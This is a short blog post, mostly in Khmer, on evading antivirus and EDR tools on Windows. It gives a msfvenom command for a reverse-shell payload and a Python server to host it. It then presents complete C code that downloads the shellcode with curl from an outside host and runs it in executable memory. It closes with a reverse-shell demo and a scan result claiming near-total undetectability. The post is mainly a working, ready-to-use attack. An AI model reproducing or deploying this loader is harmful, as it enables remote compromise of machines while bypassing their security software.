This page looks best with JavaScript enabled

Evading AV/EDR with Curl Command

 ·  β˜• 2 min read  ·  🐱 thik

αžαŸ’αž›αžΈαŸ—αž’αŸ†αž–αžΈαž€αžΆαžš Bypass AV/EDR αžαžΆαž˜αžšαž™αŸˆαž–αžΆαž€αŸ’αž™αž”αž‰αŸ’αž‡αžΆ Curl αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž—αžΆαžŸαžΆ C αŸ”

Generate Payload

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Payload αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Shellcode αž‡αžΆαž―αž€αžŸαžΆαžš Raw αž‚αŸ„αž›αžŠαŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“ 64 bit αŸ”

αž”αž‰αŸ’αž‡αžΆαž€αŸ‹αŸ– Payload αž“αŸαŸ‡αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžαŸ‚αž€αŸ’αž“αž»αž„αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αžœαžΈαž“αžŠαžΌ ៨/10/11 αž‘αžΎαž„αž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡ αŸ”

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.60.136 lport=4433 -f raw -o cat.bin

Live Payload

αž€αŸ’αžšαŸ„αž™αž–αžΈαž”αž„αŸ’αž€αžΎαž Payload αžšαž½αž…αž™αžΎαž„αž”αž„αŸ’αž€αžΎαž Server αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž αŸ„αŸ‡αžœαžΆαž€αŸ’αž“αž»αž„αž‚αŸ„αž›αž”αŸ†αžŽαž„αž‘αžΆαž‰αž™αž€αž˜αž€αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžœαž·αž‰αž“αŸ…αž‡αŸ†αž αŸŠαžΆαž“αž”αž“αŸ’αž‘αžΆαž”αŸ‹ αŸ”

1
python3 -m http.server -d payloadDir 8000

PWN The Code

αžαžŸαŸ‹αž…αžΆαž”αŸ‹αž•αŸ’αžŠαžΎαž˜αž”αž„αŸ’αž€αžΎαž FUD Payload αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž–αžΆαž€αŸ’αž™αž”αž‰αŸ’αž‡αžΆ Curl αž€αŸ’αž“αž»αž„αž—αžΆαžŸαžΆαžš C αžŠαžΎαž˜αŸ’αž”αžΈαž‘αžΆαž‰αž™αž€ Beacon αž“αž·αž„αž”αžΎαž€αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž–αžΈαž…αŸ†αž„αžΆαž™ αŸ”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main()
{
    FILE *fpipe;
    char *command = "curl http://192.168.60.136:8000/cat.bin";
    char c = 0;
    unsigned char code[460]; //αž”αŸ’αžŠαžΌαžšαž…αŸ†αž“αž½αž“αž›αŸαžαž‘αŸ…αžαžΆαž˜αž‘αŸ†αž αŸ†αž“αŸƒ bytes αžšαž”αžŸαŸ‹ payload
    //ex: Payload size: 460 bytes
    int counter = 0;
if (0 == (fpipe = (FILE*)popen(command, "r")))
    {
        perror("popen() failed.");
        exit(EXIT_FAILURE);
    }
while (fread(&c, sizeof c, 1, fpipe))
    {
        code[counter] = c;
        printf("%c", code[counter]);
        counter = counter + 1;
    }
pclose(fpipe);
    
    void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, code, sizeof code);
 ((void(*)())exec)();
 return 0;
}

αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€ Compile Payload αžαžΆαž˜αž’αž˜αŸ’αž˜αžαžΆαžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžš Process Injection αžαžΆαž˜αž”αŸ‚αž” Slef-Injection αžŠαŸ„αž™αž•αŸ’αžŠαž›αŸ‹αžŸαž·αž‘αŸ’αž’αžαžΆαž˜αž›αŸ†αž“αžΆαŸ†αžŠαžΎαž˜ Read, Write αž“αž·αž„ Execute αŸ”

Demo

αž…αž»αž…αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž€αŸ’αž“αž»αž„αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αžœαžΈαž“αžŠαžΌ ៑០ αŸ”

Download and Execute Payload

αž‘αž‘αž½αž›αž”αžΆαž“ Reverse Shell αŸ”

Got Reverse Shell

Scan Result

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαž›αž‘αŸ’αž’αž•αž›αž–αžΈαž€αžΆαžš Scan αžšαž”αžŸαŸ‹αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž€αŸ†αž…αžΆαžαŸ‹αž˜αŸαžšαŸ„αž‚αž›αŸ’αž”αžΈαŸ— αŸ”

Scan Result

αž‰αŸ‰αžΆαž€αŸ‹αžŸαžΆαž…αŸ‹αž‘αŸ? ហិហិហិ ៑ αž›αžΎ ្៦ αŸ•

αž›αž‘αŸ’αž’αž•αž›αžαŸαžŸαŸ’αžαŸ– ANTISCAN.ME
αžŸαž˜αŸ’αžšαž„αŸ‹αž…αŸαž‰αž–αžΈαŸ– MEDIUM

Share on

Thik
WRITTEN BY
thik
Security Researcher